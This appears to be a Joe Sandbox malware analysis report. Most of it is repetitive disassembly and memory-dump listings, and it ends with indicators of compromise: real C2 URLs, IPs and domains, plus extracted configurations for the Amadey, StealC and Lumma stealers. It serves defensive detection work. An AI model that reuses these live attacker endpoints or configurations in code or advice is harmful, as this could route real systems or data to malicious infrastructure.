Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 1d239294aa55a4a21abc017f137e82e8d67979f93f788fb9a9df2dbd22604644
Instruction ID: 02d924a57033ed87ff75d92341c3ef429b9d28e924f866f059b620da7c39b39f
Opcode Fuzzy Hash: 1d239294aa55a4a21abc017f137e82e8d67979f93f788fb9a9df2dbd22604644
Instruction Fuzzy Hash: 6911D636A00214EBCB15EF58C88996D7776AF84370B55806AE912AB352DB7CDD01CBD0

Function 007BCAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateSemaphoreExW.KERNEL32(?,007C65E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 007BCAFC
CreateSemaphoreW.KERNEL32(?,007C65E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 007BCB1E

Strings

e|, xrefs: 007BCB12, 007BCAF0

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSemaphore
String ID: e|
API String ID: 1078844751-2768778857
Opcode ID: 08137356f48922be891c0110e588e1c669d7a758326e37087ea80de75ca260e3
Instruction ID: e4a994bebd7170fa4bc154be2902fcbbf911463f8451c1fb548b28753acdefdc
Opcode Fuzzy Hash: 08137356f48922be891c0110e588e1c669d7a758326e37087ea80de75ca260e3
Instruction Fuzzy Hash: 94F0B276501169ABCF225F90EC159AF7F66FB08761B048015FD196A230C6369861EFE0

Function 007CB92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 007CB94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007CB961

Strings

pContext, xrefs: 007CB959

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 171c1cd9486e301d74ca23f944c9006161e7f238a0a3f81d6bf5bd9d81fad180
Instruction ID: d6ffe587acb1f844774b29ca2cf7f84722a46ae486b62c3fdf10db3ff9cee53f
Opcode Fuzzy Hash: 171c1cd9486e301d74ca23f944c9006161e7f238a0a3f81d6bf5bd9d81fad180
Instruction Fuzzy Hash: 9BE09279B00208E7CB04F768D84ADADB7799F84720704812AE611A3391EB78AA05CAE1

Function 007C34CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 007C34FC

Strings

version, xrefs: 007C34E1
pScheduler, xrefs: 007C34F4

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 5d2dacf3b4e2412b826c2dc12dddf3650fbf20874952283f34f2f2fb0c12a38c
Instruction ID: a2f810e5393af1e294ed6b7b7bc5cfbeb2138e6d6878f0be39a84f8fe78e2079
Opcode Fuzzy Hash: 5d2dacf3b4e2412b826c2dc12dddf3650fbf20874952283f34f2f2fb0c12a38c
Instruction Fuzzy Hash: 61E08C7484024CFACB2AFA54C84BFECB7689B14749F44C12EB910212919BBC9798CAD2

Source: https://pancakedipyps.click/SuR8aH	Avira URL Cloud: Label: malware
Source: https://pancakedipyps.click/api$r	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpT	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phprG)x	Avira URL Cloud: Label: malware
Source: https://pancakedipyps.click/gNeaSGx	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpC	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpncoded	Avira URL Cloud: Label: malware
Source: https://pancakedipyps.click/apimo8	Avira URL Cloud: Label: malware
Source: https://pancakedipyps.click/apin	Avira URL Cloud: Label: malware
Source: https://pancakedipyps.click/apis	Avira URL Cloud: Label: malware
Source: https://pancakedipyps.click/mv	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpcoded	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/ts	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php4087001	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpUserK.sx	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpE.ax	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpncodedB.hxt	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apip	Avira URL Cloud: Label: malware
Source: https://pancakedipyps.click/api0ra	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpncodedn.Tx	Avira URL Cloud: Label: malware
Source: https://pancakedipyps.click/apiI	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/a	Avira URL Cloud: Label: malware
Source: https://pancakedipyps.click/api4	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/U	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpJGAx	Avira URL Cloud: Label: malware
Source: https://pancakedipyps.click/otbktJ6	Avira URL Cloud: Label: malware
Source: https://pancakedipyps.click/PxlFar	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/O	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/B	Avira URL Cloud: Label: malware
Source: https://pancakedipyps.click/IT/OEL$	Avira URL Cloud: Label: malware

Source: 00000006.00000002.1770294583.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000003.00000002.1693019497.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 12.2.14dd9bf3c4.exe.400000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["pancakedipyps.click", "curverpluch.lat", "slipperyloo.lat", "wordyfindy.lat", "bashfulacid.lat", "talkynicer.lat", "manyrestro.lat", "shapestickyr.lat", "tentabatte.lat"], "Build id": "FATE99--test"}

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\random[1].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	ReversingLabs: Detection: 68%

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Joe Sandbox ML: detected

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.11:49793 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.11:49831 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058397 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click) : 192.168.2.11:62332 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.11:49896 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.11:49898 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.11:49891 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.11:49905 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.11:49912 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.11:49919 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.11:49927 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.11:49936 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.11:49879
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.11:49712 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.11:49717 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.11:49712 -> 104.21.11.101:443
